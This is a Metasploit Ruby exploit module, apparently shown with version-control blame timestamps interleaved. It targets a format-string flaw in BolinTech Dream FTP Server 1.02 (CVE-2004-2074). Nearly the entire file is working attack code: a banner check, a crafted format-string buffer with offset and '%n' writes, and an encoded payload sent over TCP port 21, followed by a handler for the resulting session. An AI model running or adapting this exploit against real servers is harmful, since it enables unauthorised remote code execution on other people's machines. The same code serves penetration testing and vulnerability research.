2009-12-15 18:47:29 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-12-15 18:47:29 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-12-15 18:47:29 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2009-12-15 18:47:29 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2009-12-15 18:47:29 +00:00
|
|
|
'Name' => 'BolinTech Dream FTP Server 1.02 Format String',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a format string overflow in the BolinTech
|
2009-12-15 18:47:29 +00:00
|
|
|
Dream FTP Server version 1.02. Based on the exploit by SkyLined.
|
|
|
|
},
|
2011-04-11 02:25:36 +00:00
|
|
|
'Author' => [ 'patrick' ],
|
2009-12-15 18:47:29 +00:00
|
|
|
'Arch' => [ ARCH_X86 ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2004-2074'],
|
|
|
|
[ 'OSVDB', '4986'],
|
|
|
|
[ 'BID', '9800'],
|
|
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/823'],
|
|
|
|
],
|
|
|
|
'Platform' => ['win'],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x00\x0a\x0d",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
# Patrick - Tested OK 2007/09/10 against w2ksp0, w2ksp4 en.
|
2009-12-15 18:47:29 +00:00
|
|
|
[
|
|
|
|
'Dream FTP Server v1.02 Universal',
|
|
|
|
{
|
|
|
|
'Offset' => 3957680, # 0x3c63ff-0x4f
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'Mar 03 2004',
|
2009-12-15 18:47:29 +00:00
|
|
|
'DefaultTarget' => 0))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
register_options(
|
2009-12-15 18:47:29 +00:00
|
|
|
[
|
|
|
|
Opt::RPORT(21),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
|
|
|
banner = sock.get(-1,3)
|
|
|
|
disconnect
|
|
|
|
if (banner =~ /Dream FTP Server/)
|
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
def exploit
|
|
|
|
connect
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,0.25)
|
2009-12-15 18:47:29 +00:00
|
|
|
sploit = "\xeb\x29"
|
|
|
|
sploit << "%8x%8x%8x%8x%8x%8x%8x%8x%" + target['Offset'].to_s + "d%n%n"
|
|
|
|
sploit << "@@@@@@@@" + payload.encoded
|
|
|
|
sock.put(sploit + "\r\n")
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,0.25)
|
2009-12-15 18:47:29 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-05-13 17:39:42 +00:00
|
|
|
end
|